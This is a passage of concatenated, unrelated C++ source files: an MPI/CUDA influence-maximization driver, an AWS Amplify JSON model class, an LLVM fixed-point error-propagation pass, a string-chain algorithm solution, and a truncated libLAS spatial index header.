} else if (CFG.diffusionModel == "LT") {
ripples::StreamingRRRGenerator<
decltype(G), decltype(generator),
typename ripples::RRRsets<decltype(G)>::iterator,
ripples::linear_threshold_tag>
se(G, generator, R, workers - gpu_workers, gpu_workers,
CFG.worker_to_gpu);
auto start = std::chrono::high_resolution_clock::now();
seeds = ripples::mpi::IMM(
G, CFG, 1.0, se, R, ripples::linear_threshold_tag{},
ripples::mpi::MPI_Plus_X<ripples::mpi_omp_parallel_tag>{});
auto end = std::chrono::high_resolution_clock::now();
R.Total = end - start;
}
console->info("IMM MPI+OpenMP+CUDA : {}ms", R.Total.count());
size_t num_threads;
#pragma omp single
num_threads = omp_get_max_threads();
R.NumThreads = num_threads;
G.convertID(seeds.begin(), seeds.end(), seeds.begin());
auto experiment = GetExperimentRecord(CFG, R, seeds);
executionLog.push_back(experiment);
int world_size;
MPI_Comm_size(MPI_COMM_WORLD, &world_size);
console->info("IMM World Size : {}", world_size);
// Find out rank, size
int world_rank;
MPI_Comm_rank(MPI_COMM_WORLD, &world_rank);
console->info("IMM Rank : {}", world_rank);
if (world_rank == 0) {
std::ofstream perf(CFG.OutputFile);
perf << executionLog.dump(2);
}
MPI_Finalize();
return EXIT_SUCCESS;
}
| 7,972 | 2,856 |
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/amplify/model/CustomRule.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
namespace Aws
{
namespace Amplify
{
namespace Model
{
CustomRule::CustomRule() :
m_sourceHasBeenSet(false),
m_targetHasBeenSet(false),
m_statusHasBeenSet(false),
m_conditionHasBeenSet(false)
{
}
CustomRule::CustomRule(JsonView jsonValue) :
m_sourceHasBeenSet(false),
m_targetHasBeenSet(false),
m_statusHasBeenSet(false),
m_conditionHasBeenSet(false)
{
*this = jsonValue;
}
CustomRule& CustomRule::operator =(JsonView jsonValue)
{
if(jsonValue.ValueExists("source"))
{
m_source = jsonValue.GetString("source");
m_sourceHasBeenSet = true;
}
if(jsonValue.ValueExists("target"))
{
m_target = jsonValue.GetString("target");
m_targetHasBeenSet = true;
}
if(jsonValue.ValueExists("status"))
{
m_status = jsonValue.GetString("status");
m_statusHasBeenSet = true;
}
if(jsonValue.ValueExists("condition"))
{
m_condition = jsonValue.GetString("condition");
m_conditionHasBeenSet = true;
}
return *this;
}
JsonValue CustomRule::Jsonize() const
{
JsonValue payload;
if(m_sourceHasBeenSet)
{
payload.WithString("source", m_source);
}
if(m_targetHasBeenSet)
{
payload.WithString("target", m_target);
}
if(m_statusHasBeenSet)
{
payload.WithString("status", m_status);
}
if(m_conditionHasBeenSet)
{
payload.WithString("condition", m_condition);
}
return payload;
}
} // namespace Model
} // namespace Amplify
} // namespace Aws
| 1,761 | 651 |
//===-- Propagators.cpp - Propagators for LLVM Instructions -----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
///
/// \file
/// Definitions of functions that propagate fixed point computation errors
/// for each LLVM Instruction.
///
//===----------------------------------------------------------------------===//
#include "Propagators.h"
#include "AffineForms.h"
#include "MemSSAUtils.h"
#include "Metadata.h"
#include "llvm/IR/InstrTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Support/Debug.h"
namespace ErrorProp
{
#define DEBUG_TYPE "errorprop"
namespace
{
using namespace llvm;
using namespace mdutils;
AffineForm<inter_t>
propagateAdd(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &, const AffineForm<inter_t> &E2)
{
// The absolute errors must be summed one by one
return E1 + E2;
}
AffineForm<inter_t>
propagateSub(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &, const AffineForm<inter_t> &E2)
{
// The absolute errors must be subtracted one by one
return E1 - E2;
}
AffineForm<inter_t>
propagateMul(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &R2, const AffineForm<inter_t> &E2)
{
// With x = y * z, the new error for x is computed as
// errx = y*errz + x*erry + erry*errz
return AffineForm<inter_t>(R1) * E2 + AffineForm<inter_t>(R2) * E1 + E1 * E2;
}
AffineForm<inter_t>
propagateDiv(const FPInterval &R1, const AffineForm<inter_t> &E1,
const FPInterval &R2, const AffineForm<inter_t> &E2,
bool AddTrunc = true)
{
// Compute y / z as y * 1/z.
// Compute the range of 1/z.
FPInterval InvR2(R2);
InvR2.Min = 1.0 / R2.Max;
InvR2.Max = 1.0 / R2.Min;
// Compute errors on 1/z.
AffineForm<inter_t> E1OverZ =
LinearErrorApproximationDecr([](inter_t x) { return static_cast<inter_t>(-1) / (x * x); },
R2, E2);
// The error for y / z will be
// x * err1/z + 1/z * errx + errx * err1/z
// plus the rounding error due to truncation.
AffineForm<inter_t> Res = AffineForm<inter_t>(R1) * E1OverZ + AffineForm<inter_t>(InvR2) * E1 + E1 * E1OverZ;
if (AddTrunc)
return Res + AffineForm<inter_t>(0, R1.getRoundingError());
else
return std::move(Res);
}
AffineForm<inter_t>
propagateShl(const AffineForm<inter_t> &E1)
{
// When shifting left there is no loss of precision (if no overflow occurs).
return E1;
}
/// Propagate Right Shift Instruction.
/// \param E1 Errors associated to the operand to be shifted.
/// \param ResR Range of the result, only used to obtain target point position.
AffineForm<inter_t>
propagateShr(const AffineForm<inter_t> &E1, const FPInterval &ResR)
{
return E1 + AffineForm<inter_t>(0, ResR.getRoundingError());
}
} // end of anonymous namespace
bool InstructionPropagator::propagateBinaryOp(Instruction &I)
{
BinaryOperator &BI = cast<BinaryOperator>(I);
LLVM_DEBUG(logInstruction(I));
// if (RMap.getRangeError(&I) == nullptr) {
// LLVM_DEBUG(dbgs() << "ignored (no range data).\n");
// return false;
// }
bool DoublePP = BI.getOpcode() == Instruction::UDiv || BI.getOpcode() == Instruction::SDiv;
auto *O1 = getOperandRangeError(BI, 0U, DoublePP);
auto *O2 = getOperandRangeError(BI, 1U);
if (O1 == nullptr || !O1->second.hasValue() || O2 == nullptr || !O2->second.hasValue()) {
LLVM_DEBUG(logInfo("no data.\n"));
return false;
}
AffineForm<inter_t> ERes;
switch (BI.getOpcode()) {
case Instruction::FAdd:
// Fall-through.
case Instruction::Add:
ERes = propagateAdd(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::FSub:
// Fall-through.
case Instruction::Sub:
ERes = propagateSub(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::FMul:
// Fall-through.
case Instruction::Mul:
ERes = propagateMul(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::FDiv:
ERes = propagateDiv(O1->first, *O1->second,
O2->first, *O2->second, false);
break;
case Instruction::UDiv:
// Fall-through.
case Instruction::SDiv:
ERes = propagateDiv(O1->first, *O1->second,
O2->first, *O2->second);
break;
case Instruction::Shl:
ERes = propagateShl(*O1->second);
break;
case Instruction::LShr:
// Fall-through.
case Instruction::AShr: {
const FPInterval *ResR = RMap.getRange(&I);
if (ResR == nullptr) {
LLVM_DEBUG(logInfoln("no data."));
return false;
}
ERes = propagateShr(*O1->second, *ResR);
break;
}
default:
LLVM_DEBUG(logInfoln("not supported.\n"));
return false;
}
// Add error to RMap.
RMap.setError(&BI, ERes);
LLVM_DEBUG(logErrorln(ERes));
return true;
}
bool InstructionPropagator::propagateStore(Instruction &I)
{
assert(I.getOpcode() == Instruction::Store && "Must be Store.");
StoreInst &SI = cast<StoreInst>(I);
LLVM_DEBUG(logInstruction(I));
Value *IDest = SI.getPointerOperand();
assert(IDest != nullptr && "Store with null Pointer Operand.");
auto *PointerRE = RMap.getRangeError(IDest);
auto *SrcRE = getOperandRangeError(I, 0U);
if (SrcRE == nullptr || !SrcRE->second.hasValue()) {
LLVM_DEBUG(logInfo("(no data, looking up pointer)"));
SrcRE = PointerRE;
if (SrcRE == nullptr || !SrcRE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
}
assert(SrcRE != nullptr);
// Associate the source error to this store instruction,
RMap.setRangeError(&SI, *SrcRE);
// and to the pointer, if greater, and if it is a function Argument.
updateArgumentRE(IDest, SrcRE);
LLVM_DEBUG(logErrorln(*SrcRE));
// Update struct errors.
RMap.setStructRangeError(SI.getPointerOperand(), *SrcRE);
return true;
}
bool InstructionPropagator::propagateLoad(Instruction &I)
{
assert(I.getOpcode() == Instruction::Load && "Must be Load.");
LoadInst &LI = cast<LoadInst>(I);
LLVM_DEBUG(logInstruction(I));
if (isa<PointerType>(LI.getType())) {
LLVM_DEBUG(logInfoln("Pointer load ignored."));
return false;
}
// Look for range and error in the defining instructions with MemorySSA
MemSSAUtils MemUtils(RMap, MemSSA);
MemUtils.findMemSSAError(&I, MemSSA.getMemoryAccess(&I));
// Kludje for when AliasAnalysis fails (i.e. almost always).
if (SloppyAA) {
MemUtils.findLOEError(&I);
}
MemSSAUtils::REVector &REs = MemUtils.getRangeErrors();
// If this is a load of a struct element, lookup in the struct errors.
if (const RangeErrorMap::RangeError *StructRE = RMap.getStructRangeError(LI.getPointerOperand())) {
REs.push_back(StructRE);
LLVM_DEBUG(logInfo("(StructError: ");
logError(*StructRE);
logInfo(")"));
}
std::sort(REs.begin(), REs.end());
auto NewEnd = std::unique(REs.begin(), REs.end());
REs.resize(NewEnd - REs.begin());
if (REs.size() == 1U && REs.front() != nullptr) {
// If we found only one defining instruction, we just use its data.
const RangeErrorMap::RangeError *RE = REs.front();
if (RE->second.hasValue() && RMap.getRange(&I))
RMap.setError(&I, *RE->second);
else
RMap.setRangeError(&I, *RE);
LLVM_DEBUG(logInfo("(one value) ");
logErrorln(*RE));
return true;
}
// Otherwise, we take the maximum error.
inter_t MaxAbsErr = -1.0;
for (const RangeErrorMap::RangeError *RE : REs)
if (RE != nullptr && RE->second.hasValue()) {
MaxAbsErr = std::max(MaxAbsErr, RE->second->noiseTermsAbsSum());
}
// We also take the range from metadata attached to LI (if any).
const FPInterval *SrcR = RMap.getRange(&I);
if (SrcR == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
if (MaxAbsErr >= 0) {
AffineForm<inter_t> Error(0, MaxAbsErr);
RMap.setRangeError(&I, std::make_pair(*SrcR, Error));
LLVM_DEBUG(logErrorln(Error));
return true;
}
// If we have no other error info, we take the rounding error.
AffineForm<inter_t> Error(0, SrcR->getRoundingError());
RMap.setRangeError(&I, std::make_pair(*SrcR, Error));
LLVM_DEBUG(logInfo("(no data, falling back to rounding error)");
logErrorln(Error));
return true;
}
bool InstructionPropagator::propagateExt(Instruction &I)
{
assert((I.getOpcode() == Instruction::SExt || I.getOpcode() == Instruction::ZExt || I.getOpcode() == Instruction::FPExt) && "Must be SExt, ZExt or FExt.");
LLVM_DEBUG(logInstruction(I));
// No further error is introduced with signed/unsigned extension.
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateTrunc(Instruction &I)
{
assert((I.getOpcode() == Instruction::Trunc || I.getOpcode() == Instruction::FPTrunc) && "Must be Trunc.");
LLVM_DEBUG(logInstruction(I));
// No further error is introduced with truncation if no overflow occurs
// (in which case it is useless to propagate other errors).
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateFNeg(Instruction &I)
{
assert(I.getOpcode() == Instruction::FNeg && "Must be FNeg.");
LLVM_DEBUG(logInstruction(I));
// No further error is introduced by flipping sign.
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateIToFP(Instruction &I)
{
assert((isa<SIToFPInst>(I) || isa<UIToFPInst>(I)) && "Must be IToFP.");
LLVM_DEBUG(logInstruction(I));
return unOpErrorPassThrough(I);
}
bool InstructionPropagator::propagateFPToI(Instruction &I)
{
assert((isa<FPToSIInst>(I) || isa<FPToUIInst>(I)) && "Must be FPToI.");
LLVM_DEBUG(logInstruction(I));
const AffineForm<inter_t> *Error = RMap.getError(I.getOperand(0U));
if (Error == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no error data)."));
return false;
}
const FPInterval *Range = RMap.getRange(&I);
if (Range == nullptr || Range->isUninitialized()) {
LLVM_DEBUG(logInfo("ignored (no range data)."));
return false;
}
AffineForm<inter_t> NewError = *Error + AffineForm<inter_t>(0.0, Range->getRoundingError());
RMap.setError(&I, NewError);
LLVM_DEBUG(logErrorln(NewError));
return true;
}
bool InstructionPropagator::propagateSelect(Instruction &I)
{
SelectInst &SI = cast<SelectInst>(I);
LLVM_DEBUG(logInstruction(I));
if (RMap.getRangeError(&I) == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no range data)."));
return false;
}
auto *TV = getOperandRangeError(I, SI.getTrueValue());
auto *FV = getOperandRangeError(I, SI.getFalseValue());
if (TV == nullptr || !TV->second.hasValue() || FV == nullptr || !FV->second.hasValue()) {
LLVM_DEBUG(logInfoln("(no data)."));
return false;
}
// Retrieve absolute errors attched to each value.
inter_t ErrT = TV->second->noiseTermsAbsSum();
inter_t ErrF = FV->second->noiseTermsAbsSum();
// The error for this instruction is the maximum between the two branches.
AffineForm<inter_t> ERes(0, std::max(ErrT, ErrF));
// Add error to RMap.
RMap.setError(&I, ERes);
// Add computed error metadata to the instruction.
// setErrorMetadata(I, ERes);
LLVM_DEBUG(logErrorln(ERes));
return true;
}
bool InstructionPropagator::propagatePhi(Instruction &I)
{
PHINode &PHI = cast<PHINode>(I);
LLVM_DEBUG(logInstruction(I));
const FPType *ConstFallbackTy = nullptr;
if (RMap.getRangeError(&I) == nullptr) {
for (const Use &IVal : PHI.incoming_values()) {
auto *RE = getOperandRangeError(I, IVal);
if (RE == nullptr)
continue;
ConstFallbackTy = dyn_cast_or_null<FPType>(RE->first.getTType());
if (ConstFallbackTy != nullptr)
break;
}
}
// Iterate over values and choose the largest absolute error.
inter_t AbsErr = -1.0;
inter_t Min = std::numeric_limits<inter_t>::infinity();
inter_t Max = -std::numeric_limits<inter_t>::infinity();
for (const Use &IVal : PHI.incoming_values()) {
auto *RE = getOperandRangeError(I, IVal, false, ConstFallbackTy);
if (RE == nullptr)
continue;
Min = std::isnan(RE->first.Min) ? RE->first.Min : std::min(Min, RE->first.Min);
Max = std::isnan(RE->first.Max) ? RE->first.Max : std::max(Max, RE->first.Max);
if (!RE->second.hasValue())
continue;
AbsErr = std::max(AbsErr, RE->second->noiseTermsAbsSum());
}
if (AbsErr < 0.0) {
// If no incoming value has an error, skip this instruction.
LLVM_DEBUG(logInfoln("ignored (no error data)."));
return false;
}
AffineForm<inter_t> ERes(0, AbsErr);
// Add error to RMap.
if (RMap.getRangeError(&I) == nullptr) {
FPInterval FPI(Interval<inter_t>(Min, Max));
RMap.setRangeError(&I, std::make_pair(FPI, ERes));
} else
RMap.setError(&I, ERes);
LLVM_DEBUG(logErrorln(ERes));
return true;
}
extern cl::opt<unsigned> CmpErrorThreshold;
bool InstructionPropagator::checkCmp(CmpErrorMap &CmpMap, Instruction &I)
{
CmpInst &CI = cast<CmpInst>(I);
LLVM_DEBUG(logInstruction(I));
auto *Op1 = getOperandRangeError(I, 0U);
auto *Op2 = getOperandRangeError(I, 1U);
if (Op1 == nullptr || Op1->first.isUninitialized() || !Op1->second.hasValue() || Op2 == nullptr || Op2->first.isUninitialized() || !Op2->second.hasValue()) {
LLVM_DEBUG(logInfoln("(no data)."));
return false;
}
// Compute the total independent absolute error between operands.
// (NoiseTerms present in both operands will cancel themselves.)
inter_t AbsErr = (*Op1->second - *Op2->second).noiseTermsAbsSum();
// Maximum absolute error tolerance to avoid changing the comparison result.
inter_t MaxTol = std::max(computeMinRangeDiff(Op1->first, Op2->first),
Op1->first.getRoundingError());
CmpErrorInfo CmpInfo(MaxTol, false);
if (AbsErr >= MaxTol) {
// The compare might be wrong due to the absolute error on operands.
if (CmpErrorThreshold == 0) {
CmpInfo.MayBeWrong = true;
} else {
// Check if it is also above custom threshold:
inter_t RelErr = AbsErr / std::max(Op1->first.Max, Op2->first.Max);
if (RelErr * 100.0 >= CmpErrorThreshold)
CmpInfo.MayBeWrong = true;
}
}
CmpMap.insert(std::make_pair(&I, CmpInfo));
if (CmpInfo.MayBeWrong)
LLVM_DEBUG(logInfoln("might be wrong!"));
else
LLVM_DEBUG(logInfoln("no possible error."));
return true;
}
bool InstructionPropagator::propagateRet(Instruction &I)
{
ReturnInst &RI = cast<ReturnInst>(I);
LLVM_DEBUG(logInstruction(I));
// Get error of the returned value
Value *Ret = RI.getReturnValue();
const AffineForm<inter_t> *RetErr = RMap.getError(Ret);
if (Ret == nullptr || RetErr == nullptr) {
LLVM_DEBUG(logInfoln("unchanged (no data)."));
return false;
}
// Associate RetErr to the ret instruction.
RMap.setError(&I, *RetErr);
// Get error already associated to this function
Function *F = RI.getFunction();
const AffineForm<inter_t> *FunErr = RMap.getError(F);
if (FunErr == nullptr || RetErr->noiseTermsAbsSum() > FunErr->noiseTermsAbsSum()) {
// If no error had already been attached to this function,
// or if RetErr is larger than the previous one, associate RetErr to it.
RMap.setError(F, RetErr->flattenNoiseTerms());
LLVM_DEBUG(logErrorln(*RetErr));
return true;
} else {
LLVM_DEBUG(logInfoln("unchanged (smaller than previous)."));
return true;
}
}
bool InstructionPropagator::propagateCall(Instruction &I)
{
LLVM_DEBUG(logInstruction(I));
Function *F = nullptr;
if (isa<CallInst>(I)) {
F = cast<CallInst>(I).getCalledFunction();
} else {
assert(isa<InvokeInst>(I));
F = cast<InvokeInst>(I).getCalledFunction();
}
if (F != nullptr && isSpecialFunction(*F)) {
return propagateSpecialCall(I, *F);
}
if (RMap.getRangeError(&I) == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no range data)."));
return false;
}
const AffineForm<inter_t> *Error = RMap.getError(F);
if (Error == nullptr) {
LLVM_DEBUG(logInfoln("ignored (no error data)."));
return false;
}
RMap.setError(&I, *Error);
LLVM_DEBUG(logErrorln(*Error));
return true;
}
bool InstructionPropagator::propagateGetElementPtr(Instruction &I)
{
GetElementPtrInst &GEPI = cast<GetElementPtrInst>(I);
LLVM_DEBUG(logInstruction(I));
const RangeErrorMap::RangeError *RE =
RMap.getRangeError(GEPI.getPointerOperand());
if (RE == nullptr || !RE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
RMap.setRangeError(&GEPI, *RE);
LLVM_DEBUG(logErrorln(*RE));
return true;
}
bool InstructionPropagator::propagateExtractValue(Instruction &I)
{
ExtractValueInst &EVI = cast<ExtractValueInst>(I);
LLVM_DEBUG(logInstruction(I));
const RangeErrorMap::RangeError *RE = RMap.getStructRangeError(&EVI);
if (RE == nullptr || !RE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
RMap.setRangeError(&EVI, *RE);
LLVM_DEBUG(logErrorln(*RE));
return true;
}
bool InstructionPropagator::propagateInsertValue(Instruction &I)
{
InsertValueInst &IVI = cast<InsertValueInst>(I);
LLVM_DEBUG(logInstruction(I));
const RangeErrorMap::RangeError *RE =
RMap.getStructRangeError(IVI.getInsertedValueOperand());
if (RE == nullptr || !RE->second.hasValue()) {
LLVM_DEBUG(logInfoln("ignored (no data)."));
return false;
}
RMap.setStructRangeError(&IVI, *RE);
LLVM_DEBUG(logErrorln(*RE));
return false;
}
} // end of namespace ErrorProp
| 17,876 | 6,518 |
class Solution {
private:
bool isPredecessor(const string &x, const string &y) {
if (y.size() - x.size() != 1) return false;
if (y.substr(1) == x || y.substr(0, x.size()) == x) return true;
for (int i = 0; i < y.size() - 1; ++i) {
if (y.substr(0, i) + y.substr(i + 1) == x) return true;
}
return false;
}
public:
int longestStrChain(vector<string> &words) {
if (words.size() < 2) return words.size();
sort(words.begin(), words.end(), [](const string &x, const string &y) {
return x.size() < y.size();
});
vector<int> dp(words.size(), 1);
for (int i = 1; i < words.size(); ++i) {
for (int j = 0; j < i; ++j) {
if (isPredecessor(words[j], words[i])) dp[i] = max(dp[i], 1 + dp[j]);
}
}
return *max_element(dp.begin(), dp.end());
}
}; | 913 | 337 |
/******************************************************************************
* $Id$
*
* Project: libLAS - http://liblas.org - A BSD library for LAS format data.
* Purpose: LAS index class
* Author: Gary Huber, gary@garyhuberart.com
*
******************************************************************************
* Copyright (c) 2010, Gary Huber, gary@garyhuberart.com
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following
* conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the Martin Isenburg or Iowa Department
* of Natural Resources nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
****************************************************************************/
#ifndef LIBLAS_LASINDEX_HPP_INCLUDED
#define LIBLAS_LASINDEX_HPP_INCLUDED
#include <liblas/reader.hpp>
#include <liblas/header.hpp>
#include <liblas/bounds.hpp>
#include <liblas/variablerecord.hpp>
#include <liblas/detail/index/indexcell.hpp>
#include <liblas/export.hpp>
// std
#include <stdexcept> // std::out_of_range
#include <cstdio> // file io
#include <iostream> // file io
#include <cstdlib> // std::size_t
#include <vector> // std::vector
namespace liblas {
#define LIBLAS_INDEX_MAXMEMDEFAULT 10000000 // 10 megs default
#define LIBLAS_INDEX_MINMEMDEFAULT 1000000 // 1 meg at least has to be allowed
#define LIBLAS_INDEX_VERSIONMAJOR 1
#define LIBLAS_INDEX_VERSIONMINOR 2 // minor version 2 begins 11/15/10
#define LIBLAS_INDEX_MAXSTRLEN 512
#define LIBLAS_INDEX_MAXCELLS 250000
#define LIBLAS_INDEX_OPTPTSPERCELL 100
#define LIBLAS_INDEX_MAXPTSPERCELL 1000
#define LIBLAS_INDEX_RESERVEFILTERDEFAULT 1000000 // 1 million points will be reserved on large files for filter result
// define this in order to fix problem with last bytes of last VLR getting corrupted
// when saved and reloaded from index or las file.
#define LIBLAS_INDEX_PADLASTVLR
typedef std::vector<boost::uint8_t> IndexVLRData;
typedef std::vector<liblas::detail::IndexCell> IndexCellRow;
typedef std::vector<IndexCellRow> IndexCellDataBlock;
class LAS_DLL IndexData;
class LAS_DLL IndexIterator;
// Index class is the fundamental object for building and filtering a spatial index of points in an LAS file.
// An Index class doesn't do anything until it is configured with an IndexData object (see below).
// You instantiate an Index object first and then pass it an IndexData or you can construct the Index with an
// IndexData. Nothing happens until the Index is told what to do via the configuration with IndexData.
// For details on configuration options see IndexData below.
// Once an index exists and is configured, it can be used to filter the point set in the LAS file for which it
// was built. The points have to be what they were when the index was built. The index is not automatically
// updated if the point set is changed. The index becomes invalid if either the number of points is changed,
// the order of points is changed or the location of any points is changed. The Validate function is run to
// determine as best it can the validity of the stored index but it isn't perfect. It can only determine if
// the number of points has changed or the spatial extents of the file have changed.
// The user can constrain the memory used in building an index if that is believed to be an issue.
// The results will be the same but some efficiency may be lost in the index building process.
// Data stored in index header can be examined for determining suitability of index for desired purpose.
// 1) presence of z-dimensional cell structure is indicated by GetCellsZ() called on the Index.
// 2) Index author GetIndexAuthorStr() - provided by author at time of creation
// 3) Index comment GetIndexCommentStr() - provided by author at time of creation
// 4) Index creation date GetIndexDateStr() - provided by author at time of creation
// The latter fields are not validated in any way by the index building code and are just three fields
// which can be used as the user sees fit. Maximum length is LIBLAS_INDEX_MAXSTRLEN - 1.
// Obtaining a filtered set of points requires that a valid index exist (see above).
// The IndexData class is used again to pass the extents of the filter to the Index. By making any high/low
// bounds coordinate pair equal, that dimension is ignored for the purposes of filtering. Note that Z dimension
// discrimination is still available even if z-binning was not invoked during index creation. Filtering with
// the z dimension may be slower in that event but no less successful.
// A filter operation is invoked with the command:
// const std::vector<boost::uint32_t>& Filter(IndexData const& ParamSrc);
// The return value is a vector of point ID's. The points can be accessed from the LAS file in the standard way
// as the index in no way modifies them or their sequential order.
// Currently only one, two or three dimensional spatial window filters are supported. See IndexData below for
// more info on filtering.
class LAS_DLL Index
{
public:
Index();
Index(IndexData const& ParamSrc);
~Index();
// Blocked copying operations, declared but not defined.
/// Copy constructor.
Index(Index const& other);
/// Assignment operator.
Index& operator=(Index const& rhs);
private:
Reader *m_reader;
Reader *m_idxreader;
Header m_pointheader;
Header m_idxheader;
Bounds<double> m_bounds;
bool m_indexBuilt, m_tempFileStarted, m_readerCreated, m_readOnly, m_writestandaloneindex, m_forceNewIndex;
int m_debugOutputLevel;
boost::uint8_t m_versionMajor, m_versionMinor;
boost::uint32_t m_pointRecordsCount, m_maxMemoryUsage, m_cellsX, m_cellsY, m_cellsZ, m_totalCells,
m_DataVLR_ID;
liblas::detail::TempFileOffsetType m_tempFileWrittenBytes;
double m_rangeX, m_rangeY, m_rangeZ, m_cellSizeZ, m_cellSizeX, m_cellSizeY;
std::string m_tempFileName;
std::string m_indexAuthor;
std::string m_indexComment;
std::string m_indexDate;
std::vector<boost::uint32_t> m_filterResult;
std::ostream *m_ofs;
FILE *m_tempFile, *m_outputFile;
FILE *m_debugger;
void SetValues(void);
bool IndexInit(void);
void ClearOldIndex(void);
bool BuildIndex(void);
bool Validate(void);
boost::uint32_t GetDefaultReserve(void);
bool LoadIndexVLR(VariableRecord const& vlr);
void SetCellFilterBounds(IndexData & ParamSrc);
bool FilterOneVLR(VariableRecord const& vlr, boost::uint32_t& i, IndexData & ParamSrc, bool & VLRDone);
bool FilterPointSeries(boost::uint32_t & PointID, boost::uint32_t & PointsScanned,
boost::uint32_t const PointsToIgnore, boost::uint32_t const x, boost::uint32_t const y, boost::uint32_t const z,
liblas::detail::ConsecPtAccumulator const ConsecutivePts, IndexIterator *Iterator,
IndexData const& ParamSrc);
bool VLRInteresting(boost::int32_t MinCellX, boost::int32_t MinCellY, boost::int32_t MaxCellX, boost::int32_t MaxCellY,
IndexData const& ParamSrc);
bool CellInteresting(boost::int32_t x, boost::int32_t y, IndexData const& ParamSrc);
bool SubCellInteresting(boost::int32_t SubCellID, boost::int32_t XCellID, boost::int32_t YCellID, IndexData const& ParamSrc);
bool ZCellInteresting(boost::int32_t ZCellID, IndexData const& ParamSrc);
bool FilterOnePoint(boost::int32_t x, boost::int32_t y, boost::int32_t z, boost::int32_t PointID, boost::int32_t LastPointID, bool &LastPtRead,
IndexData const& ParamSrc);
// Determines what X/Y cell in the basic cell matrix a point falls in
bool IdentifyCell(Point const& CurPt, boost::uint32_t& CurCellX, boost::uint32_t& CurCellY) const;
// determines what Z cell a point falls in
bool IdentifyCellZ(Point const& CurPt, boost::uint32_t& CurCellZ) const;
// Determines what quadrant sub-cell a point falls in
bool IdentifySubCell(Point const& CurPt, boost::uint32_t x, boost::uint32_t y, boost::uint32_t& CurSubCell) const;
// Offloads binned cell data while building Index when cell data in memory exceeds maximum set by user
bool PurgePointsToTempFile(IndexCellDataBlock& CellBlock);
// Reloads and examines one cell of data from temp file
bool LoadCellFromTempFile(liblas::detail::IndexCell *CellBlock,
boost::uint32_t CurCellX, boost::uint32_t CurCellY);
// temp file is used to store sorted data while building index
FILE *OpenTempFile(void);
// closes and removes the temp file
void CloseTempFile(void);
// Creates a Writer from m_ofs and re-saves entire LAS input file with new index
// Current version does not save any data following the points
bool SaveIndexInLASFile(void);
// Creates a Writer from m_ofs and re-saves LAS header with new index, but not with data point records
bool SaveIndexInStandAloneFile(void);
// Calculate index bounds dimensions
void CalcRangeX(void) {m_rangeX = (m_bounds.max)(0) - (m_bounds.min)(0);}
void CalcRangeY(void) {m_rangeY = (m_bounds.max)(1) - (m_bounds.min)(1);}
void CalcRangeZ(void) {m_rangeZ = (m_bounds.max)(2) - (m_bounds.min)(2);}
// error messages
bool FileError(const char *Reporter);
bool InputFileError(const char *Reporter) const;
bool OutputFileError(const char *Reporter) const;
bool DebugOutputError(const char *Reporter) const;
bool PointCountError(const char *Reporter) const;
bool PointBoundsError(const char *Reporter) const;
bool MemoryError(const char *Reporter) const;
bool InitError(const char *Reporter) const;
bool InputBoundsError(const char *Reporter) const;
// debugging
bool OutputCellStats(IndexCellDataBlock& CellBlock) const;
bool OutputCellGraph(std::vector<boost::uint32_t> CellPopulation, boost::uint32_t MaxPointsPerCell) const;
public:
// IndexFailed and IndexReady can be used to tell if an Index is ready for a filter operation
bool IndexFailed(void) const {return (! m_indexBuilt);}
bool IndexReady(void) const {return (m_indexBuilt);}
// Prep takes the input data and initializes Index values and then either builds or examines the Index
bool Prep(IndexData const& ParamSrc);
// Filter performs a point filter using the bounds in ParamSrc
const std::vector<boost::uint32_t>& Filter(IndexData & ParamSrc);
IndexIterator* Filter(IndexData const& ParamSrc, boost::uint32_t ChunkSize);
IndexIterator* Filter(double LowFilterX, double HighFilterX, double LowFilterY, double HighFilterY,
